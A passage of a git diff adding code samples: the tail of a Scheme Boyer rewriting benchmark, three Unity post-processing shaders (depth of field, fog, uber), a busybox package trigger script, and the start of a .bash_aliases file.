+             (equal (remainder x x)
+                    (zero))
+             (equal (lessp (quotient i j)
+                           i)
+                    (and (not (zerop i))
+                         (or (zerop j)
+                             (not (equal j 1)))))
+             (equal (lessp (remainder x y)
+                           x)
+                    (and (not (zerop y))
+                         (not (zerop x))
+                         (not (lessp x y))))
+             (equal (power-eval (power-rep i base)
+                                base)
+                    (fix i))
+             (equal (power-eval (big-plus (power-rep i base)
+                                          (power-rep j base)
+                                          (zero)
+                                          base)
+                                base)
+                    (plus i j))
+             (equal (gcd x y)
+                    (gcd y x))
+             (equal (nth (append a b)
+                         i)
+                    (append (nth a i)
+                            (nth b (difference i (length a)))))
+             (equal (difference (plus x y)
+                                x)
+                    (fix y))
+             (equal (difference (plus y x)
+                                x)
+                    (fix y))
+             (equal (difference (plus x y)
+                                (plus x z))
+                    (difference y z))
+             (equal (times x (difference c w))
+                    (difference (times c x)
+                                (times w x)))
+             (equal (remainder (times x z)
+                               z)
+                    (zero))
+             (equal (difference (plus b (plus a c))
+                                a)
+                    (plus b c))
+             (equal (difference (add1 (plus y z))
+                                z)
+                    (add1 y))
+             (equal (lessp (plus x y)
+                           (plus x z))
+                    (lessp y z))
+             (equal (lessp (times x z)
+                           (times y z))
+                    (and (not (zerop z))
+                         (lessp x y)))
+             (equal (lessp y (plus x y))
+                    (not (zerop x)))
+             (equal (gcd (times x z)
+                         (times y z))
+                    (times z (gcd x y)))
+             (equal (value (normalize x)
+                           a)
+                    (value x a))
+             (equal (equal (flatten x)
+                           (cons y (nil)))
+                    (and (nlistp x)
+                         (equal x y)))
+             (equal (listp (gopher x))
+                    (listp x))
+             (equal (samefringe x y)
+                    (equal (flatten x)
+                           (flatten y)))
+             (equal (equal (greatest-factor x y)
+                           (zero))
+                    (and (or (zerop y)
+                             (equal y 1))
+                         (equal x (zero))))
+             (equal (equal (greatest-factor x y)
+                           1)
+                    (equal x 1))
+             (equal (numberp (greatest-factor x y))
+                    (not (and (or (zerop y)
+                                  (equal y 1))
+                              (not (numberp x)))))
+             (equal (times-list (append x y))
+                    (times (times-list x)
+                           (times-list y)))
+             (equal (prime-list (append x y))
+                    (and (prime-list x)
+                         (prime-list y)))
+             (equal (equal z (times w z))
+                    (and (numberp z)
+                         (or (equal z (zero))
+                             (equal w 1))))
+             (equal (greatereqp x y)
+                    (not (lessp x y)))
+             (equal (equal x (times x y))
+                    (or (equal x (zero))
+                        (and (numberp x)
+                             (equal y 1))))
+             (equal (remainder (times y x)
+                               y)
+                    (zero))
+             (equal (equal (times a b)
+                           1)
+                    (and (not (equal a (zero)))
+                         (not (equal b (zero)))
+                         (numberp a)
+                         (numberp b)
+                         (equal (sub1 a)
+                                (zero))
+                         (equal (sub1 b)
+                                (zero))))
+             (equal (lessp (length (delete x l))
+                           (length l))
+                    (member x l))
+             (equal (sort2 (delete x l))
+                    (delete x (sort2 l)))
+             (equal (dsort x)
+                    (sort2 x))
+             (equal (length (cons x1
+                                  (cons x2
+                                        (cons x3 (cons x4
+                                                       (cons x5
+                                                             (cons x6 x7)))))))
+                    (plus 6 (length x7)))
+             (equal (difference (add1 (add1 x))
+                                2)
+                    (fix x))
+             (equal (quotient (plus x (plus x y))
+                              2)
+                    (plus x (quotient y 2)))
+             (equal (sigma (zero)
+                           i)
+                    (quotient (times i (add1 i))
+                              2))
+             (equal (plus x (add1 y))
+                    (if (numberp y)
+                        (add1 (plus x y))
+                        (add1 x)))
+             (equal (equal (difference x y)
+                           (difference z y))
+                    (if (lessp x y)
+                        (not (lessp y z))
+                        (if (lessp z y)
+                            (not (lessp y x))
+                            (equal (fix x)
+                                   (fix z)))))
+             (equal (meaning (plus-tree (delete x y))
+                             a)
+                    (if (member x y)
+                        (difference (meaning (plus-tree y)
+                                             a)
+                                    (meaning x a))
+                        (meaning (plus-tree y)
+                                 a)))
+             (equal (times x (add1 y))
+                    (if (numberp y)
+                        (plus x (times x y))
+                        (fix x)))
+             (equal (nth (nil)
+                         i)
+                    (if (zerop i)
+                        (nil)
+                        (zero)))
+             (equal (last (append a b))
+                    (if (listp b)
+                        (last b)
+                        (if (listp a)
+                            (cons (car (last a))
+                                  b)
+                            b)))
+             (equal (equal (lessp x y)
+                           z)
+                    (if (lessp x y)
+                        (equal (t) z)
+                        (equal (f) z)))
+             (equal (assignment x (append a b))
+                    (if (assignedp x a)
+                        (assignment x a)
+                        (assignment x b)))
+             (equal (car (gopher x))
+                    (if (listp x)
+                        (car (flatten x))
+                        (zero)))
+             (equal (flatten (cdr (gopher x)))
+                    (if (listp x)
+                        (cdr (flatten x))
+                        (cons (zero)
+                              (nil))))
+             (equal (quotient (times y x)
+                              y)
+                    (if (zerop y)
+                        (zero)
+                        (fix x)))
+             (equal (get j (set i val mem))
+                    (if (eqp j i)
+                        val
+                        (get j mem)))))))
+  
+  (define (add-lemma-lst lst)
+    (cond ((null? lst)
+           #t)
+          (else (add-lemma (car lst))
+                (add-lemma-lst (cdr lst)))))
+  
+  (define (add-lemma term)
+    (cond ((and (pair? term)
+                (eq? (car term)
+                     (quote equal))
+                (pair? (cadr term)))
+           (put (car (cadr term))
+                (quote lemmas)
+                (cons
+                 (translate-term term)
+                 (get (car (cadr term)) (quote lemmas)))))
+          (else (error "ADD-LEMMA did not like term:  " term))))
+  
+  ; Translates a term by replacing its constructor symbols by symbol-records.
+  
+  (define (translate-term term)
+    (cond ((not (pair? term))
+           term)
+          (else (cons (symbol->symbol-record (car term))
+                      (translate-args (cdr term))))))
+  
+  (define (translate-args lst)
+    (cond ((null? lst)
+           '())
+          (else (cons (translate-term (car lst))
+                      (translate-args (cdr lst))))))
+  
+  ; For debugging only, so the use of MAP does not change
+  ; the first-order character of the benchmark.
+  
+  (define (untranslate-term term)
+    (cond ((not (pair? term))
+           term)
+          (else (cons (get-name (car term))
+                      (map untranslate-term (cdr term))))))
+  
+  ; A symbol-record is represented as a vector with two fields:
+  ; the symbol (for debugging) and
+  ; the list of lemmas associated with the symbol.
+  
+  (define (put sym property value)
+    (put-lemmas! (symbol->symbol-record sym) value))
+  
+  (define (get sym property)
+    (get-lemmas (symbol->symbol-record sym)))
+  
+  (define (symbol->symbol-record sym)
+    (let ((x (assq sym *symbol-records-alist*)))
+      (if x
+          (cdr x)
+          (let ((r (make-symbol-record sym)))
+            (set! *symbol-records-alist*
+                  (cons (cons sym r)
+                        *symbol-records-alist*))
+            r))))
+  
+  ; Association list of symbols and symbol-records.
+  
+  (define *symbol-records-alist* '())
+  
+  ; A symbol-record is represented as a vector with two fields:
+  ; the symbol (for debugging) and
+  ; the list of lemmas associated with the symbol.
+  
+  (define (make-symbol-record sym)
+    (vector sym '()))
+  
+  (define (put-lemmas! symbol-record lemmas)
+    (vector-set! symbol-record 1 lemmas))
+  
+  (define (get-lemmas symbol-record)
+    (vector-ref symbol-record 1))
+  
+  (define (get-name symbol-record)
+    (vector-ref symbol-record 0))
+  
+  (define (symbol-record-equal? r1 r2)
+    (eq? r1 r2))
+  
+  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
+  ;
+  ; The second phase.
+  ;
+  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
+  
+  (define (test n)
+    (let ((term
+           (apply-subst
+            (translate-alist
+             (quote ((x f (plus (plus a b)
+                                (plus c (zero))))
+                     (y f (times (times a b)
+                                 (plus c d)))
+                     (z f (reverse (append (append a b)
+                                           (nil))))
+                     (u equal (plus a b)
+                              (difference x y))
+                     (w lessp (remainder a b)
+                              (member a (length b))))))
+            (translate-term
+             (do ((term
+                   (quote (implies (and (implies x y)
+                                        (and (implies y z)
+                                             (and (implies z u)
+                                                  (implies u w))))
+                                   (implies x w)))
+                   (list 'or term '(f)))
+                  (n n (- n 1)))
+                 ((zero? n) term))))))
+    (tautp term)))
+  
+  (define (translate-alist alist)
+    (cond ((null? alist)
+           '())
+          (else (cons (cons (caar alist)
+                            (translate-term (cdar alist)))
+                      (translate-alist (cdr alist))))))
+  
+  (define (apply-subst alist term)
+    (cond ((not (pair? term))
+           (let ((temp-temp (assq term alist)))
+             (if temp-temp
+                 (cdr temp-temp)
+                 term)))
+          (else (cons (car term)
+                      (apply-subst-lst alist (cdr term))))))
+  
+  (define (apply-subst-lst alist lst)
+    (cond ((null? lst)
+           '())
+          (else (cons (apply-subst alist (car lst))
+                      (apply-subst-lst alist (cdr lst))))))
+  
+  (define (tautp x)
+    (tautologyp (rewrite x)
+                '() '()))
+  
+  (define (tautologyp x true-lst false-lst)
+    (cond ((truep x true-lst)
+           #t)
+          ((falsep x false-lst)
+           #f)
+          ((not (pair? x))
+           #f)
+          ((eq? (car x) if-constructor)
+           (cond ((truep (cadr x)
+                         true-lst)
+                  (tautologyp (caddr x)
+                              true-lst false-lst))
+                 ((falsep (cadr x)
+                          false-lst)
+                  (tautologyp (cadddr x)
+                              true-lst false-lst))
+                 (else (and (tautologyp (caddr x)
+                                        (cons (cadr x)
+                                              true-lst)
+                                        false-lst)
+                            (tautologyp (cadddr x)
+                                        true-lst
+                                        (cons (cadr x)
+                                              false-lst))))))
+          (else #f)))
+  
+  (define if-constructor '*) ; becomes (symbol->symbol-record 'if)
+  
+  (define rewrite-count 0) ; sanity check
+  
+  ; The next procedure is Henry Baker's sharing CONS, which avoids
+  ; allocation if the result is already in hand.
+  ; The REWRITE and REWRITE-ARGS procedures have been modified to
+  ; use SCONS instead of CONS.
+  
+  (define (scons x y original)
+    (if (and (eq? x (car original))
+             (eq? y (cdr original)))
+        original
+        (cons x y)))
+  
+  (define (rewrite term)
+    (set! rewrite-count (+ rewrite-count 1))
+    (cond ((not (pair? term))
+           term)
+          (else (rewrite-with-lemmas (scons (car term)
+                                            (rewrite-args (cdr term))
+                                            term)
+                                     (get-lemmas (car term))))))
+  
+  (define (rewrite-args lst)
+    (cond ((null? lst)
+           '())
+          (else (scons (rewrite (car lst))
+                       (rewrite-args (cdr lst))
+                       lst))))
+  
+  (define (rewrite-with-lemmas term lst)
+    (cond ((null? lst)
+           term)
+          ((one-way-unify term (cadr (car lst)))
+           (rewrite (apply-subst unify-subst (caddr (car lst)))))
+          (else (rewrite-with-lemmas term (cdr lst)))))
+  
+  (define unify-subst '*)
+  
+  (define (one-way-unify term1 term2)
+    (begin (set! unify-subst '())
+           (one-way-unify1 term1 term2)))
+  
+  (define (one-way-unify1 term1 term2)
+    (cond ((not (pair? term2))
+           (let ((temp-temp (assq term2 unify-subst)))
+             (cond (temp-temp
+                    (term-equal? term1 (cdr temp-temp)))
+                   ((number? term2)          ; This bug fix makes
+                    (equal? term1 term2))    ; nboyer 10-25% slower!
+                   (else
+                    (set! unify-subst (cons (cons term2 term1)
+                                            unify-subst))
+                    #t))))
+          ((not (pair? term1))
+           #f)
+          ((eq? (car term1)
+                (car term2))
+           (one-way-unify1-lst (cdr term1)
+                               (cdr term2)))
+          (else #f)))
+  
+  (define (one-way-unify1-lst lst1 lst2)
+    (cond ((null? lst1)
+           (null? lst2))
+          ((null? lst2)
+           #f)
+          ((one-way-unify1 (car lst1)
+                           (car lst2))
+           (one-way-unify1-lst (cdr lst1)
+                               (cdr lst2)))
+          (else #f)))
+  
+  (define (falsep x lst)
+    (or (term-equal? x false-term)
+        (term-member? x lst)))
+  
+  (define (truep x lst)
+    (or (term-equal? x true-term)
+        (term-member? x lst)))
+  
+  (define false-term '*)  ; becomes (translate-term '(f))
+  (define true-term '*)   ; becomes (translate-term '(t))
+  
+  ; The next two procedures were in the original benchmark
+  ; but were never used.
+  
+  (define (trans-of-implies n)
+    (translate-term
+     (list (quote implies)
+           (trans-of-implies1 n)
+           (list (quote implies)
+                 0 n))))
+  
+  (define (trans-of-implies1 n)
+    (cond ((equal? n 1)
+           (list (quote implies)
+                 0 1))
+          (else (list (quote and)
+                      (list (quote implies)
+                            (- n 1)
+                            n)
+                      (trans-of-implies1 (- n 1))))))
+  
+  ; Translated terms can be circular structures, which can't be
+  ; compared using Scheme's equal? and member procedures, so we
+  ; use these instead.
+  
+  (define (term-equal? x y)
+    (cond ((pair? x)
+           (and (pair? y)
+                (symbol-record-equal? (car x) (car y))
+                (term-args-equal? (cdr x) (cdr y))))
+          (else (equal? x y))))
+  
+  (define (term-args-equal? lst1 lst2)
+    (cond ((null? lst1)
+           (null? lst2))
+          ((null? lst2)
+           #f)
+          ((term-equal? (car lst1) (car lst2))
+           (term-args-equal? (cdr lst1) (cdr lst2)))
+          (else #f)))
+  
+  (define (term-member? x lst)
+    (cond ((null? lst)
+           #f)
+          ((term-equal? x (car lst))
+           #t)
+          (else (term-member? x (cdr lst)))))
+  
+  (set! setup-boyer
+        (lambda ()
+          (set! *symbol-records-alist* '())
+          (set! if-constructor (symbol->symbol-record 'if))
+          (set! false-term (translate-term '(f)))
+          (set! true-term  (translate-term '(t)))
+          (setup)))
+  
+  (set! test-boyer
+        (lambda (n)
+          (set! rewrite-count 0)
+          (let ((answer (test n)))
+            (write rewrite-count)
+            (display " rewrites")
+            (newline)
+            (if answer
+                rewrite-count
+                #f)))))
diff --git a/samples/ShaderLab/DepthOfField.shader b/samples/ShaderLab/DepthOfField.shader
new file mode 100644
index 0000000000..4e64f94adc
--- /dev/null
+++ b/samples/ShaderLab/DepthOfField.shader
@@ -0,0 +1,95 @@
+// From https://github.com/Unity-Technologies/PostProcessing,
+// licensed under MIT licence.
+
+Shader "Hidden/Post FX/Depth Of Field"
+{
+    Properties
+    {
+        _MainTex ("", 2D) = "black"
+    }
+
+    CGINCLUDE
+        #pragma exclude_renderers d3d11_9x
+        #pragma target 3.0
+    ENDCG
+
+    SubShader
+    {
+        Cull Off ZWrite Off ZTest Always
+
+        // (0) Downsampling, prefiltering & CoC
+        Pass
+        {
+            CGPROGRAM
+                #pragma multi_compile __ UNITY_COLORSPACE_GAMMA
+                #pragma vertex VertDOF
+                #pragma fragment FragPrefilter
+                #include "DepthOfField.cginc"
+            ENDCG
+        }
+
+        // (1) Pass 0 + temporal antialiasing
+        Pass
+        {
+            CGPROGRAM
+                #pragma vertex VertDOF
+                #pragma fragment FragPrefilter
+                #define PREFILTER_TAA
+                #include "DepthOfField.cginc"
+            ENDCG
+        }
+
+        // (2-5) Bokeh filter with disk-shaped kernels
+        Pass
+        {
+            CGPROGRAM
+                #pragma vertex VertDOF
+                #pragma fragment FragBlur
+                #define KERNEL_SMALL
+                #include "DepthOfField.cginc"
+            ENDCG
+        }
+
+        Pass
+        {
+            CGPROGRAM
+                #pragma vertex VertDOF
+                #pragma fragment FragBlur
+                #define KERNEL_MEDIUM
+                #include "DepthOfField.cginc"
+            ENDCG
+        }
+
+        Pass
+        {
+            CGPROGRAM
+                #pragma vertex VertDOF
+                #pragma fragment FragBlur
+                #define KERNEL_LARGE
+                #include "DepthOfField.cginc"
+            ENDCG
+        }
+
+        Pass
+        {
+            CGPROGRAM
+                #pragma vertex VertDOF
+                #pragma fragment FragBlur
+                #define KERNEL_VERYLARGE
+                #include "DepthOfField.cginc"
+            ENDCG
+        }
+
+        // (6) Postfilter blur
+        Pass
+        {
+            CGPROGRAM
+                #pragma vertex VertDOF
+                #pragma fragment FragPostBlur
+                #include "DepthOfField.cginc"
+            ENDCG
+        }
+    }
+
+    FallBack Off
+}
\ No newline at end of file
diff --git a/samples/ShaderLab/Fog.shader b/samples/ShaderLab/Fog.shader
new file mode 100644
index 0000000000..55f949458b
--- /dev/null
+++ b/samples/ShaderLab/Fog.shader
@@ -0,0 +1,112 @@
+// From https://github.com/Unity-Technologies/PostProcessing,
+// licensed under MIT licence.
+
+Shader "Hidden/Post FX/Fog"
+{
+    Properties
+    {
+        _MainTex("Main Texture", 2D) = "white" {}
+    }
+
+    CGINCLUDE
+
+        #pragma multi_compile __ FOG_LINEAR FOG_EXP FOG_EXP2
+        #include "UnityCG.cginc"
+        #include "Common.cginc"
+
+        #define SKYBOX_THREASHOLD_VALUE 0.9999
+
+        struct Varyings
+        {
+            float2 uv : TEXCOORD0;
+            float4 vertex : SV_POSITION;
+        };
+
+        Varyings VertFog(AttributesDefault v)
+        {
+            Varyings o;
+            o.vertex = UnityObjectToClipPos(v.vertex);
+            o.uv = UnityStereoScreenSpaceUVAdjust(v.texcoord, _MainTex_ST);
+            return o;
+        }
+
+        sampler2D _CameraDepthTexture;
+
+        half4 _FogColor;
+        float _Density;
+        float _Start;
+        float _End;
+
+        half ComputeFog(float z)
+        {
+            half fog = 0.0;
+        #if FOG_LINEAR
+            fog = (_End - z) / (_End - _Start);
+        #elif FOG_EXP
+            fog = exp2(-_Density * z);
+        #else // FOG_EXP2
+            fog = _Density * z;
+            fog = exp2(-fog * fog);
+        #endif
+            return saturate(fog);
+        }
+
+        float ComputeDistance(float depth)
+        {
+            float dist = depth * _ProjectionParams.z;
+            dist -= _ProjectionParams.y;
+            return dist;
+        }
+
+        half4 FragFog(Varyings i) : SV_Target
+        {
+            half4 color = tex2D(_MainTex, i.uv);
+
+            float depth = SAMPLE_DEPTH_TEXTURE(_CameraDepthTexture, i.uv);
+            depth = Linear01Depth(depth);
+            float dist = ComputeDistance(depth) - _Start;
+            half fog = 1.0 - ComputeFog(dist);
+
+            return lerp(color, _FogColor, fog);
+        }
+
+        half4 FragFogExcludeSkybox(Varyings i) : SV_Target
+        {
+            half4 color = tex2D(_MainTex, i.uv);
+
+            float depth = SAMPLE_DEPTH_TEXTURE(_CameraDepthTexture, i.uv);
+            depth = Linear01Depth(depth);
+            float skybox = depth < SKYBOX_THREASHOLD_VALUE;
+            float dist = ComputeDistance(depth) - _Start;
+            half fog = 1.0 - ComputeFog(dist);
+
+            return lerp(color, _FogColor, fog * skybox);
+        }
+
+    ENDCG
+
+    SubShader
+    {
+        Cull Off ZWrite Off ZTest Always
+
+        Pass
+        {
+            CGPROGRAM
+
+                #pragma vertex VertFog
+                #pragma fragment FragFog
+
+            ENDCG
+        }
+
+        Pass
+        {
+            CGPROGRAM
+
+                #pragma vertex VertFog
+                #pragma fragment FragFogExcludeSkybox
+
+            ENDCG
+        }
+    }
+}
\ No newline at end of file
diff --git a/samples/ShaderLab/Uber.shader b/samples/ShaderLab/Uber.shader
new file mode 100644
index 0000000000..b69ee8c3a3
--- /dev/null
+++ b/samples/ShaderLab/Uber.shader
@@ -0,0 +1,337 @@
+// From https://github.com/Unity-Technologies/PostProcessing,
+// licensed under MIT licence.
+
+Shader "Hidden/Post FX/Uber Shader"
+{
+    Properties
+    {
+        _MainTex ("Texture", 2D) = "white" {}
+        _AutoExposure ("", 2D) = "" {}
+        _BloomTex ("", 2D) = "" {}
+        _Bloom_DirtTex ("", 2D) = "" {}
+        _GrainTex ("", 2D) = "" {}
+        _LogLut ("", 2D) = "" {}
+        _UserLut ("", 2D) = "" {}
+        _Vignette_Mask ("", 2D) = "" {}
+        _ChromaticAberration_Spectrum ("", 2D) = "" {}
+        _DitheringTex ("", 2D) = "" {}
+    }
+
+    CGINCLUDE
+
+        #pragma target 3.0
+
+        #pragma multi_compile __ UNITY_COLORSPACE_GAMMA
+        #pragma multi_compile __ EYE_ADAPTATION
+        #pragma multi_compile __ CHROMATIC_ABERRATION
+        #pragma multi_compile __ DEPTH_OF_FIELD DEPTH_OF_FIELD_COC_VIEW
+        #pragma multi_compile __ BLOOM
+        #pragma multi_compile __ BLOOM_LENS_DIRT
+        #pragma multi_compile __ COLOR_GRADING COLOR_GRADING_LOG_VIEW
+        #pragma multi_compile __ USER_LUT
+        #pragma multi_compile __ GRAIN
+        #pragma multi_compile __ VIGNETTE_CLASSIC VIGNETTE_ROUND VIGNETTE_MASKED
+        #pragma multi_compile __ DITHERING
+
+        #include "UnityCG.cginc"
+        #include "Bloom.cginc"
+        #include "ColorGrading.cginc"
+        #include "UberSecondPass.cginc"
+
+        // Auto exposure / eye adaptation
+        sampler2D _AutoExposure;
+
+        // Chromatic aberration
+        half _ChromaticAberration_Amount;
+        sampler2D _ChromaticAberration_Spectrum;
+
+        // Depth of field
+        sampler2D_float _CameraDepthTexture;
+        sampler2D _DepthOfFieldTex;
+        float4 _DepthOfFieldTex_TexelSize;
+        float2 _DepthOfFieldParams; // x: distance, y: f^2 / (N * (S1 - f) * film_width * 2)
+
+        // Bloom
+        sampler2D _BloomTex;
+        float4 _BloomTex_TexelSize;
+        half2 _Bloom_Settings; // x: sampleScale, y: bloom.intensity
+
+        sampler2D _Bloom_DirtTex;
+        half _Bloom_DirtIntensity;
+
+        // Color grading & tonemapping
+        sampler2D _LogLut;
+        half3 _LogLut_Params; // x: 1 / lut_width, y: 1 / lut_height, z: lut_height - 1
+        half _ExposureEV; // EV (exp2)
+
+        // User lut
+        sampler2D _UserLut;
+        half4 _UserLut_Params; // @see _LogLut_Params
+
+        // Vignette
+        half3 _Vignette_Color;
+        half2 _Vignette_Center; // UV space
+        half3 _Vignette_Settings; // x: intensity, y: smoothness, z: roundness
+        sampler2D _Vignette_Mask;
+        half _Vignette_Opacity; // [0;1]
+
+        struct VaryingsFlipped
+        {
+            float4 pos : SV_POSITION;
+            float2 uv : TEXCOORD0;
+            float2 uvSPR : TEXCOORD1; // Single Pass Stereo UVs
+            float2 uvFlipped : TEXCOORD2; // Flipped UVs (DX/MSAA/Forward)
+            float2 uvFlippedSPR : TEXCOORD3; // Single Pass Stereo flipped UVs
+        };
+
+        VaryingsFlipped VertUber(AttributesDefault v)
+        {
+            VaryingsFlipped o;
+            o.pos = UnityObjectToClipPos(v.vertex);
+            o.uv = v.texcoord.xy;
+            o.uvSPR = UnityStereoScreenSpaceUVAdjust(v.texcoord.xy, _MainTex_ST);
+            o.uvFlipped = v.texcoord.xy;
+
+        #if UNITY_UV_STARTS_AT_TOP
+            if (_MainTex_TexelSize.y < 0.0)
+                o.uvFlipped.y = 1.0 - o.uvFlipped.y;
+        #endif
+
+            o.uvFlippedSPR = UnityStereoScreenSpaceUVAdjust(o.uvFlipped, _MainTex_ST);
+
+            return o;
+        }
+
+        half4 FragUber(VaryingsFlipped i) : SV_Target
+        {
+            float2 uv = i.uv;
+            half autoExposure = 1.0;
+
+            // Store the auto exposure value for later
+            #if EYE_ADAPTATION
+            {
+                autoExposure = tex2D(_AutoExposure, uv).r;
+            }
+            #endif
+
+            half3 color = (0.0).xxx;
+            #if DEPTH_OF_FIELD && CHROMATIC_ABERRATION
+            half4 dof = (0.0).xxxx;
+            #endif
+
+            //
+            // HDR effects
+            // ---------------------------------------------------------
+
+            // Chromatic Aberration
+            // Inspired by the method described in "Rendering Inside" [Playdead 2016]
+            // https://twitter.com/pixelmager/status/717019757766123520
+            #if CHROMATIC_ABERRATION
+            {
+                float2 coords = 2.0 * uv - 1.0;
+                float2 end = uv - coords * dot(coords, coords) * _ChromaticAberration_Amount;
+
+                float2 diff = end - uv;
+                int samples = clamp(int(length(_MainTex_TexelSize.zw * diff / 2.0)), 3, 16);
+                float2 delta = diff / samples;
+                float2 pos = uv;
+                half3 sum = (0.0).xxx, filterSum = (0.0).xxx;
+
+                #if DEPTH_OF_FIELD
+                float2 dofDelta = delta;
+                float2 dofPos = pos;
+                if (_MainTex_TexelSize.y < 0.0)
+                {
+                    dofDelta.y = -dofDelta.y;
+                    dofPos.y = 1.0 - dofPos.y;
+                }
+                half4 dofSum = (0.0).xxxx;
+                #endif
+
+                for (int i = 0; i < samples; i++)
+                {
+                    half t = (i + 0.5) / samples;
+                    half3 s = tex2Dlod(_MainTex, float4(UnityStereoScreenSpaceUVAdjust(pos, _MainTex_ST), 0, 0)).rgb;
+                    half3 filter = tex2Dlod(_ChromaticAberration_Spectrum, float4(t, 0, 0, 0)).rgb;
+
+                    sum += s * filter;
+                    filterSum += filter;
+                    pos += delta;
+
+                    #if DEPTH_OF_FIELD
+                    half4 sdof = tex2Dlod(_DepthOfFieldTex, float4(UnityStereoScreenSpaceUVAdjust(dofPos, _MainTex_ST), 0, 0)).rgba;
+                    dofSum += sdof * half4(filter, 1);
+                    dofPos += dofDelta;
+                    #endif
+                }
+
+                color = sum / filterSum;
+                #if DEPTH_OF_FIELD
+                dof = dofSum / half4(filterSum, samples);
+                #endif
+            }
+            #else
+            {
+                color = tex2D(_MainTex, i.uvSPR).rgb;
+            }
+            #endif
+
+            // Apply auto exposure if any
+            color *= autoExposure;
+
+            // Gamma space... Gah.
+            #if UNITY_COLORSPACE_GAMMA
+            {
+                color = GammaToLinearSpace(color);
+            }
+            #endif
+
+            // Depth of field
+            #if DEPTH_OF_FIELD
+            {
+                #if !CHROMATIC_ABERRATION
+                half4 dof = tex2D(_DepthOfFieldTex, i.uvFlippedSPR);
+                #endif
+                color = color * dof.a + dof.rgb * autoExposure;
+            }
+            #elif DEPTH_OF_FIELD_COC_VIEW
+            {
+                // Calculate the radiuses of CoC.
+                half4 src = tex2D(_DepthOfFieldTex, uv);
+                float depth = LinearEyeDepth(SAMPLE_DEPTH_TEXTURE(_CameraDepthTexture, i.uvFlippedSPR));
+                float coc = (depth - _DepthOfFieldParams.x) * _DepthOfFieldParams.y / depth;
+                coc *= 80;
+
+                // Visualize CoC (white -> red -> gray)
+                half3 rgb = lerp(half3(1, 0, 0), half3(1.0, 1.0, 1.0), saturate(-coc));
+                rgb = lerp(rgb, half3(0.4, 0.4, 0.4), saturate(coc));
+
+                // Black and white image overlay
+                rgb *= AcesLuminance(color) + 0.5;
+
+                // Gamma correction
+                #if !UNITY_COLORSPACE_GAMMA
+                {
+                    rgb = GammaToLinearSpace(rgb);
+                }
+                #endif
+
+                color = rgb;
+            }
+            #endif
+
+            // HDR Bloom
+            #if BLOOM
+            {
+                half3 bloom = UpsampleFilter(_BloomTex, i.uvFlippedSPR, _BloomTex_TexelSize.xy, _Bloom_Settings.x) * _Bloom_Settings.y;
+                color += bloom;
+
+                #if BLOOM_LENS_DIRT
+                {
+                    half3 dirt = tex2D(_Bloom_DirtTex, i.uvFlipped).rgb * _Bloom_DirtIntensity;
+                    color += bloom * dirt;
+                }
+                #endif
+            }
+            #endif
+
+            // Procedural vignette
+            #if VIGNETTE_CLASSIC
+            {
+                half2 d = abs(uv - _Vignette_Center) * _Vignette_Settings.x;
+                d = pow(d, _Vignette_Settings.z); // Roundness
+                half vfactor = pow(saturate(1.0 - dot(d, d)), _Vignette_Settings.y);
+                color *= lerp(_Vignette_Color, (1.0).xxx, vfactor);
+            }
+
+            // Perfectly round vignette
+            #elif VIGNETTE_ROUND
+            {
+                half2 d = abs(uv - _Vignette_Center) * _Vignette_Settings.x;
+                d.x *= _ScreenParams.x / _ScreenParams.y;
+                half vfactor = pow(saturate(1.0 - dot(d, d)), _Vignette_Settings.y);
+                color *= lerp(_Vignette_Color, (1.0).xxx, vfactor);
+            }
+
+            // Masked vignette
+            #elif VIGNETTE_MASKED
+            {
+                half vfactor = tex2D(_Vignette_Mask, uv).a;
+                half3 new_color = color * lerp(_Vignette_Color, (1.0).xxx, vfactor);
+                color = lerp(color, new_color, _Vignette_Opacity);
+            }
+            #endif
+
+            // HDR color grading & tonemapping
+            #if COLOR_GRADING
+            {
+                color *= _ExposureEV; // Exposure is in ev units (or 'stops')
+
+                half3 colorLogC = saturate(LinearToLogC(color));
+                color = ApplyLut2d(_LogLut, colorLogC, _LogLut_Params);
+            }
+            #elif COLOR_GRADING_LOG_VIEW
+            {
+                color *= _ExposureEV;
+                color = saturate(LinearToLogC(color));
+            }
+            #endif
+
+            //
+            // All the following effects happen in LDR
+            // ---------------------------------------------------------
+
+            color = saturate(color);
+
+            // Back to gamma space if needed
+            #if UNITY_COLORSPACE_GAMMA
+            {
+                color = LinearToGammaSpace(color);
+            }
+            #endif
+
+            // LDR user lut
+            #if USER_LUT
+            {
+                color = saturate(color);
+                half3 colorGraded;
+
+                #if !UNITY_COLORSPACE_GAMMA
+                {
+                    colorGraded = ApplyLut2d(_UserLut, LinearToGammaSpace(color), _UserLut_Params.xyz);
+                    colorGraded = GammaToLinearSpace(colorGraded);
+                }
+                #else
+                {
+                    colorGraded = ApplyLut2d(_UserLut, color, _UserLut_Params.xyz);
+                }
+                #endif
+
+                color = lerp(color, colorGraded, _UserLut_Params.w);
+            }
+            #endif
+
+            color = UberSecondPass(color, uv);
+
+            // Done !
+            return half4(color, 1.0);
+        }
+
+    ENDCG
+
+    SubShader
+    {
+        Cull Off ZWrite Off ZTest Always
+
+        // (0)
+        Pass
+        {
+            CGPROGRAM
+
+                #pragma vertex VertUber
+                #pragma fragment FragUber
+
+            ENDCG
+        }
+    }
+}
\ No newline at end of file
diff --git a/samples/Shell/busybox.trigger b/samples/Shell/busybox.trigger
new file mode 100644
index 0000000000..256a8a076a
--- /dev/null
+++ b/samples/Shell/busybox.trigger
@@ -0,0 +1,23 @@
+#!/bin/sh
+
+do_bb_install=
+
+for i in "$@"; do
+	case "$i" in
+		/lib/modules/*)
+			# don't run busybox depmod if we have kmod installed
+			# we dont need to run it twice.
+			target=$(readlink -f "$(command -v depmod || true)")
+			if [ -d "$i" ] && [ "$target" = "/bin/busybox" ]; then
+				/bin/busybox depmod ${i#/lib/modules/}
+			fi
+			;;
+		*) do_bb_install=yes;;
+	esac
+done
+
+if [ -n "$do_bb_install" ]; then
+	[ -e /bin/bbsuid ] && /bin/bbsuid --install
+	[ -e /bin/busybox-extras ] && /bin/busybox-extras --install -s
+	/bin/busybox --install -s
+fi
\ No newline at end of file
diff --git a/samples/Shell/filenames/.bash_aliases b/samples/Shell/filenames/.bash_aliases
new file mode 100644
index 0000000000..5bd06155a3
--- /dev/null
+++ b/samples/Shell/filenames/.bash_aliases
@@ -0,0 +1,15 @@
+# Read shared alias
+test -f $HOME/.common-alias && source $HOME/.common-alias
+test -f $HOME/.custom-alias && source $HOME/.custom-alias
+
+# enable color support of ls and also add handy aliases
